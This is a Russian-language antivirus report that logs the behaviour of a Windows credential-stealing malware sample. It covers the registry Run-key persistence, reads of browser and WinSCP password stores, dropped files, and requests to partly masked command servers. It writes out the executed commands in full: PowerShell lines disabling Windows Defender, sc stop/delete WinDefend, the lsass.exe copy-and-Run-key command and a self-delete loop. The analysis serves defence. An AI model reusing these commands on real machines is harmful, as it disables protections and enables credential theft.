Техническая информация
Для обеспечения автозапуска и распространения
Модифицирует следующие ключи реестра
- [<HKCU>\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] 'Local Security Authority Subsystem Service' = '"%APPDATA%\Microsoft\Windows\lsass.exe" *'
Создает или изменяет следующие файлы
- <SYSTEM32>\tasks\ms dll libraries
Вредоносные функции
Для затруднения выявления своего присутствия в системе
блокирует запуск следующих системных утилит:
- Системный антивирус (Защитник Windows)
Внедряет код в
следующие системные процессы:
- %WINDIR%\syswow64\reg.exe
следующие пользовательские процессы:
- 86f7.tmp.exe
Перехватывает функции
в браузерах
- Процесс iexplore.exe, модуль wininet.dll
Ищет ветки реестра, отвечающие за хранение паролей сторонними программами
- [<HKCU>\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook]
- [<HKCU>\Software\Martin Prikryl\WinSCP 2\Sessions\]
Читает файлы, отвечающие за хранение паролей сторонними программами
- %APPDATA%\mozilla\firefox\profiles.ini
- <LS_APPDATA>\google\chrome\user data\default\cookies
- <LS_APPDATA>\google\chrome\user data\default\web data
Изменения в файловой системе
Создает следующие файлы
- %TEMP%\4dd3.tmp
- %TEMP%\10977505610493888284848.tmp
- %TEMP%\92c0.tmp.exe
- %PROGRAMDATA%\hsyатччыэу.exe
- %TEMP%\8d51.tmp.exe
- %TEMP%\8ef6e687\vcruntime140.dll
- %TEMP%\8ef6e687\ucrtbase.dll
- %TEMP%\8ef6e687\softokn3.dll
- %TEMP%\10978281077556532442381.tmp
- %TEMP%\8ef6e687\nssdbm3.dll
- %TEMP%\8ef6e687\msvcp140.dll
- %TEMP%\8ef6e687\mozglue.dll
- %TEMP%\8ef6e687\freebl3.dll
- %TEMP%\8ef6e687\api-ms-win-crt-utility-l1-1-0.dll
- %TEMP%\8ef6e687\api-ms-win-crt-time-l1-1-0.dll
- %TEMP%\8ef6e687\api-ms-win-crt-string-l1-1-0.dll
- %TEMP%\8ef6e687\api-ms-win-crt-stdio-l1-1-0.dll
- %TEMP%\8ef6e687\nss3.dll
- %APPDATA%\mslibrary\huyатччыэу.exe
- %PROGRAMDATA%\microsoft\vault\ac658cb4-9126-49bd-b877-31eedab3f204\policy.vpol
- %PROGRAMDATA%\microsoft\vault\ac658cb4-9126-49bd-b877-31eedab3f204\3ccd5499-87a8-4b10-a215-608888dd3b55.vsch
- %TEMP%\11080005813972880501699.tmp-shm
- %TEMP%\11080005813972880501699.tmp
- %TEMP%\11079689291501614776351.tmp
- %TEMP%\11079064154415639095116.tmp
- %TEMP%\11078909741234851875901.tmp
- %TEMP%\11078909367290215733321.tmp
- %TEMP%\11078756921186219243344.tmp
- %TEMP%\1107875834612092219966.tmp
- %TEMP%\11078431406737232685756.tmp
- %TEMP%\11077034941489158838010.tmp-shm
- %TEMP%\11077034941489158838010.tmp
- %TEMP%\11075787487419269437096.tmp
- %TEMP%\11075628912353952403719.tmp
- %TEMP%\e08e.tmp-shm
- %TEMP%\e08e.tmp
- <LS_APPDATA>\microsoft\vault\4bf4c442-9b8a-41a0-b380-dd4a704ddb28\policy.vpol
- %PROGRAMDATA%\microsoft\vault\ac658cb4-9126-49bd-b877-31eedab3f204\2f1a6504-0641-44cf-8bb5-3612d865f2e5.vsch
- %TEMP%\8ef6e687\api-ms-win-crt-runtime-l1-1-0.dll
- %TEMP%\e3c224e9.buran
- %TEMP%\8ef6e687\api-ms-win-crt-process-l1-1-0.dll
- %TEMP%\8ef6e687\api-ms-win-crt-multibyte-l1-1-0.dll
- %TEMP%\8ef6e687\api-ms-win-core-libraryloader-l1-1-0.dll
- %TEMP%\8ef6e687\api-ms-win-core-interlocked-l1-1-0.dll
- %TEMP%\8ef6e687\api-ms-win-core-heap-l1-1-0.dll
- %TEMP%\8ef6e687\api-ms-win-core-handle-l1-1-0.dll
- %TEMP%\8ef6e687\api-ms-win-core-file-l2-1-0.dll
- %TEMP%\8ef6e687\api-ms-win-core-file-l1-2-0.dll
- %TEMP%\8ef6e687\api-ms-win-core-file-l1-1-0.dll
- %TEMP%\8ef6e687\api-ms-win-core-localization-l1-2-0.dll
- %TEMP%\8ef6e687\api-ms-win-core-errorhandling-l1-1-0.dll
- %TEMP%\8ef6e687\api-ms-win-core-datetime-l1-1-0.dll
- %TEMP%\8ef6e687\api-ms-win-core-console-l1-1-0.dll
- %TEMP%\86f7.tmp.exe
- %TEMP%\839a.tmp.exe
- %TEMP%\7bba.tmp.exe
- %APPDATA%\rurjfvt
- %APPDATA%\defbtvd
- %TEMP%\8ef6e687\api-ms-win-core-debug-l1-1-0.dll
- %TEMP%\8ef6e687\api-ms-win-core-memory-l1-1-0.dll
- %TEMP%\8ef6e687\api-ms-win-core-namedpipe-l1-1-0.dll
- %TEMP%\8ef6e687\api-ms-win-core-processenvironment-l1-1-0.dll
- %TEMP%\8ef6e687\api-ms-win-crt-math-l1-1-0.dll
- %TEMP%\8ef6e687\api-ms-win-crt-locale-l1-1-0.dll
- %TEMP%\8ef6e687\api-ms-win-crt-heap-l1-1-0.dll
- %TEMP%\8ef6e687\api-ms-win-crt-filesystem-l1-1-0.dll
- %TEMP%\8ef6e687\api-ms-win-crt-environment-l1-1-0.dll
- %TEMP%\8ef6e687\api-ms-win-crt-convert-l1-1-0.dll
- %TEMP%\8ef6e687\api-ms-win-crt-conio-l1-1-0.dll
- %TEMP%\8ef6e687\api-ms-win-core-util-l1-1-0.dll
- %TEMP%\8ef6e687\api-ms-win-core-timezone-l1-1-0.dll
- %TEMP%\8ef6e687\api-ms-win-core-sysinfo-l1-1-0.dll
- %TEMP%\8ef6e687\api-ms-win-core-synch-l1-2-0.dll
- %TEMP%\8ef6e687\api-ms-win-core-synch-l1-1-0.dll
- %TEMP%\8ef6e687\api-ms-win-core-string-l1-1-0.dll
- %TEMP%\8ef6e687\api-ms-win-core-rtlsupport-l1-1-0.dll
- %TEMP%\8ef6e687\api-ms-win-core-profile-l1-1-0.dll
- %TEMP%\8ef6e687\api-ms-win-core-processthreads-l1-1-1.dll
- %TEMP%\8ef6e687\api-ms-win-core-processthreads-l1-1-0.dll
- %TEMP%\8ef6e687\api-ms-win-crt-private-l1-1-0.dll
- %APPDATA%\microsoft\windows\lsass.exe
Присваивает атрибут 'скрытый' для следующих файлов
- %APPDATA%\defbtvd
- %APPDATA%\rurjfvt
Удаляет следующие файлы
- %TEMP%\10977505610493888284848.tmp
- %TEMP%\8ef6e687\api-ms-win-core-string-l1-1-0.dll
- %TEMP%\8ef6e687\api-ms-win-core-synch-l1-1-0.dll
- %TEMP%\8ef6e687\api-ms-win-core-synch-l1-2-0.dll
- %TEMP%\8ef6e687\api-ms-win-core-sysinfo-l1-1-0.dll
- %TEMP%\8ef6e687\api-ms-win-core-timezone-l1-1-0.dll
- %TEMP%\8ef6e687\api-ms-win-core-util-l1-1-0.dll
- %TEMP%\8ef6e687\api-ms-win-crt-conio-l1-1-0.dll
- %TEMP%\8ef6e687\api-ms-win-crt-convert-l1-1-0.dll
- %TEMP%\8ef6e687\api-ms-win-crt-environment-l1-1-0.dll
- %TEMP%\8ef6e687\api-ms-win-crt-filesystem-l1-1-0.dll
- %TEMP%\8ef6e687\api-ms-win-crt-heap-l1-1-0.dll
- %TEMP%\8ef6e687\api-ms-win-crt-locale-l1-1-0.dll
- %TEMP%\8ef6e687\api-ms-win-crt-math-l1-1-0.dll
- %TEMP%\8ef6e687\api-ms-win-crt-multibyte-l1-1-0.dll
- %TEMP%\8ef6e687\api-ms-win-crt-private-l1-1-0.dll
- %TEMP%\8ef6e687\api-ms-win-crt-process-l1-1-0.dll
- %TEMP%\8ef6e687\api-ms-win-crt-runtime-l1-1-0.dll
- %TEMP%\8ef6e687\api-ms-win-crt-stdio-l1-1-0.dll
- %TEMP%\8ef6e687\api-ms-win-crt-string-l1-1-0.dll
- %TEMP%\8ef6e687\api-ms-win-crt-time-l1-1-0.dll
- %TEMP%\8ef6e687\api-ms-win-crt-utility-l1-1-0.dll
- %TEMP%\8ef6e687\freebl3.dll
- %TEMP%\8ef6e687\mozglue.dll
- %TEMP%\8ef6e687\msvcp140.dll
- %TEMP%\8ef6e687\nss3.dll
- %TEMP%\8ef6e687\nssdbm3.dll
- %TEMP%\8ef6e687\softokn3.dll
- %TEMP%\8ef6e687\ucrtbase.dll
- %TEMP%\8ef6e687\vcruntime140.dll
- %TEMP%\8ef6e687\api-ms-win-core-rtlsupport-l1-1-0.dll
- %TEMP%\e3c224e9.buran
- %TEMP%\8ef6e687\api-ms-win-core-profile-l1-1-0.dll
- %TEMP%\8ef6e687\api-ms-win-core-processthreads-l1-1-0.dll
- %TEMP%\10978281077556532442381.tmp
- %TEMP%\11075628912353952403719.tmp
- %TEMP%\11075787487419269437096.tmp
- %TEMP%\11077034941489158838010.tmp-shm
- %TEMP%\11077034941489158838010.tmp
- %TEMP%\11078431406737232685756.tmp
- %TEMP%\1107875834612092219966.tmp
- %TEMP%\11078756921186219243344.tmp
- %TEMP%\11078909367290215733321.tmp
- %TEMP%\11078909741234851875901.tmp
- %TEMP%\11079064154415639095116.tmp
- %TEMP%\11079689291501614776351.tmp
- %TEMP%\11080005813972880501699.tmp-shm
- %TEMP%\11080005813972880501699.tmp
- %TEMP%\8ef6e687\api-ms-win-core-console-l1-1-0.dll
- %TEMP%\8ef6e687\api-ms-win-core-datetime-l1-1-0.dll
- %TEMP%\8ef6e687\api-ms-win-core-debug-l1-1-0.dll
- %TEMP%\8ef6e687\api-ms-win-core-errorhandling-l1-1-0.dll
- %TEMP%\8ef6e687\api-ms-win-core-file-l1-1-0.dll
- %TEMP%\8ef6e687\api-ms-win-core-file-l1-2-0.dll
- %TEMP%\8ef6e687\api-ms-win-core-file-l2-1-0.dll
- %TEMP%\8ef6e687\api-ms-win-core-handle-l1-1-0.dll
- %TEMP%\8ef6e687\api-ms-win-core-heap-l1-1-0.dll
- %TEMP%\8ef6e687\api-ms-win-core-interlocked-l1-1-0.dll
- %TEMP%\8ef6e687\api-ms-win-core-libraryloader-l1-1-0.dll
- %TEMP%\8ef6e687\api-ms-win-core-localization-l1-2-0.dll
- %TEMP%\8ef6e687\api-ms-win-core-memory-l1-1-0.dll
- %TEMP%\8ef6e687\api-ms-win-core-namedpipe-l1-1-0.dll
- %TEMP%\8ef6e687\api-ms-win-core-processenvironment-l1-1-0.dll
- %TEMP%\8ef6e687\api-ms-win-core-processthreads-l1-1-1.dll
- %TEMP%\86f7.tmp.exe
Самоудаляется.
Сетевая активность
TCP
Запросы HTTP GET
- http://www.ms###csi.com/ncsi.txt
- http://ge###tool.com/
- http://pr####t-01252505.ml/azor.exe
- http://ip##pi.com/json
Запросы HTTP POST
- http://te######vice012505.ru.com/
- http://pr####t-01252505.ml/
- http://vi####nage101.tk/webaz.php
UDP
- DNS ASK pr####t-01242505.tk
- DNS ASK to######service012505.ru
- DNS ASK al######service012505.ru
- DNS ASK vs######service012505.ru
- DNS ASK ne######service012505.ru
- DNS ASK bi######service012505.ru
- DNS ASK te######vice01shop2505.ru
- DNS ASK te######vice01info2505.ru
- DNS ASK te######vice01plus2505.ru
- DNS ASK te######vice01club2505.ru
- DNS ASK te######vice01torg2505.ru
- DNS ASK te######vice01land2505.ru
- DNS ASK te######vice01life2505.ru
- DNS ASK te######vice01blog2505.ru
- DNS ASK in######-service012505.ru
- DNS ASK ge###tool.com
- DNS ASK be######-service012505.ru
- DNS ASK sh######-service012505.ru
- DNS ASK ku######-service012505.ru
- DNS ASK pr######-service012505.ru
- DNS ASK cl######-service012505.ru
- DNS ASK my######ervice01242505.ru
- DNS ASK ru######ervice01242505.ru
- DNS ASK te######vice01stroy2505.ru
- DNS ASK te######vice01forum2505.ru
- DNS ASK su######t-service012505.ru
- DNS ASK pr######service01242505.ru
- DNS ASK pr####t-01252505.ml
- DNS ASK vi####nage101.tk
- DNS ASK mo######service012505.ru
- DNS ASK me######-service012505.ru
- DNS ASK te#####rvice012505.fun
- DNS ASK te######vice01dom2505.ru
- DNS ASK te######vice012505.ru.com
- DNS ASK te#####rvice012505.pw
- DNS ASK te#####rvice012505.com
- DNS ASK te#####rvice012505.site
- DNS ASK te######vice012505.store
- DNS ASK te#####rvice01242505.ru
- DNS ASK my#####service012505.ru
- DNS ASK te#####rvice012505.su
- DNS ASK te#####rvice012505.info
- DNS ASK te#####rvice012505.net
- DNS ASK te#####rvice012505.tech
- DNS ASK te######vice012505.online
- DNS ASK ru#####service012505.ru
- DNS ASK te######vice012505.website
- DNS ASK te#####rvice012505.pro
- DNS ASK te#####rvice012505.xyz
- DNS ASK te######vice01pro2505.ru
- DNS ASK te######vice01rus2505.ru
- DNS ASK te#####rvice012505.eu
- DNS ASK te######vice012505.press
- DNS ASK pr######service012505.ru
- DNS ASK ru######service012505.ru
- DNS ASK te#######ice012505.net2505.ru
- DNS ASK te######vice012505.space
- DNS ASK do######service012505.ru
- DNS ASK mi######service012505.ru
- DNS ASK te#######ice012505.org2505.ru
- DNS ASK te#######ice012505.pp2505.ru
- DNS ASK te#####rvice012505.host
- DNS ASK ip##pi.com
Другое
Создает и запускает на исполнение
- '%TEMP%\7bba.tmp.exe'
- '%TEMP%\839a.tmp.exe'
- '%TEMP%\86f7.tmp.exe'
- '%TEMP%\8d51.tmp.exe'
- '%PROGRAMDATA%\hsyатччыэу.exe'
- '%TEMP%\92c0.tmp.exe'
- '%APPDATA%\microsoft\windows\lsass.exe' *
- '%WINDIR%\syswow64\cmd.exe' /e:on /c md "%APPDATA%\Microsoft\Windows" & copy "%TEMP%\86F7.tmp.exe" "%APPDATA%\Microsoft\Windows\lsass.exe" & reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "Local Security ...' (со скрытым окном)
- '<SYSTEM32>\svchost.exe' ' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c powershell Set-MpPreference -DisableScriptScanning $true' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c powershell Set-MpPreference -ModerateThreatDefaultAction 6' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c powershell Set-MpPreference -DisablePrivacyMode $true' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c powershell Set-MpPreference -SevereThreatDefaultAction 6' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c powershell Set-MpPreference -LowThreatDefaultAction 6' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c powershell Set-MpPreference -DisableBehaviorMonitoring $true' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c powershell Set-MpPreference -DisableIOAVProtection $true' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c powershell Set-MpPreference -DisableIntrusionPreventionSystem $true' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c powershell Set-MpPreference -DisableRealtimeMonitoring $true' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c sc delete WinDefend' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c sc stop WinDefend' (со скрытым окном)
- '%PROGRAMDATA%\hsyатччыэу.exe' ' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c powershell Set-MpPreference -DisableBlockAtFirstSeen $true' (со скрытым окном)
- '%WINDIR%\syswow64\cmd.exe' /c for /l %x in (1,1,999) do ( ping -n 3 127.1 & del "%TEMP%\86F7.tmp.exe" & if not exist "%TEMP%\86F7.tmp.exe" exit )' (со скрытым окном)
Запускает на исполнение
- '<SYSTEM32>\cmd.exe' /c sc stop WinDefend
- '%WINDIR%\syswow64\reg.exe' add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "Local Security Authority Subsystem Service" /t REG_SZ /F /D "\"%APPDATA%\Microsoft\Windows\lsass.exe\" *"
- '%WINDIR%\syswow64\cmd.exe' /e:on /c md "%APPDATA%\Microsoft\Windows" & copy "%TEMP%\86F7.tmp.exe" "%APPDATA%\Microsoft\Windows\lsass.exe" & reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "Local Security ...
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Set-MpPreference -DisableIOAVProtection $true
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Set-MpPreference -LowThreatDefaultAction 6
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Set-MpPreference -DisableScriptScanning $true
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Set-MpPreference -SevereThreatDefaultAction 6
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Set-MpPreference -ModerateThreatDefaultAction 6
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Set-MpPreference -DisablePrivacyMode $true
- '<SYSTEM32>\svchost.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Set-MpPreference -DisableIntrusionPreventionSystem $true
- '%WINDIR%\explorer.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Set-MpPreference -DisableBlockAtFirstSeen $true
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Set-MpPreference -DisableRealtimeMonitoring $true
- '%WINDIR%\syswow64\cmd.exe' /c for /l %x in (1,1,999) do ( ping -n 3 127.1 & del "%TEMP%\86F7.tmp.exe" & if not exist "%TEMP%\86F7.tmp.exe" exit )
- '<SYSTEM32>\sc.exe' stop WinDefend
- '<SYSTEM32>\sc.exe' delete WinDefend
- '%WINDIR%\syswow64\explorer.exe'
- '<SYSTEM32>\cmd.exe' /c powershell Set-MpPreference -DisableScriptScanning $true
- '<SYSTEM32>\cmd.exe' /c powershell Set-MpPreference -ModerateThreatDefaultAction 6
- '<SYSTEM32>\cmd.exe' /c powershell Set-MpPreference -LowThreatDefaultAction 6
- '<SYSTEM32>\cmd.exe' /c powershell Set-MpPreference -SevereThreatDefaultAction 6
- '<SYSTEM32>\cmd.exe' /c powershell Set-MpPreference -DisableIntrusionPreventionSystem $true
- '<SYSTEM32>\cmd.exe' /c powershell Set-MpPreference -DisablePrivacyMode $true
- '<SYSTEM32>\cmd.exe' /c powershell Set-MpPreference -DisableIOAVProtection $true
- '<SYSTEM32>\cmd.exe' /c powershell Set-MpPreference -DisableBlockAtFirstSeen $true
- '<SYSTEM32>\cmd.exe' /c powershell Set-MpPreference -DisableBehaviorMonitoring $true
- '<SYSTEM32>\cmd.exe' /c powershell Set-MpPreference -DisableRealtimeMonitoring $true
- '<SYSTEM32>\cmd.exe' /c sc delete WinDefend
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Set-MpPreference -DisableBehaviorMonitoring $true
- '%WINDIR%\syswow64\ping.exe' -n 3 127.1
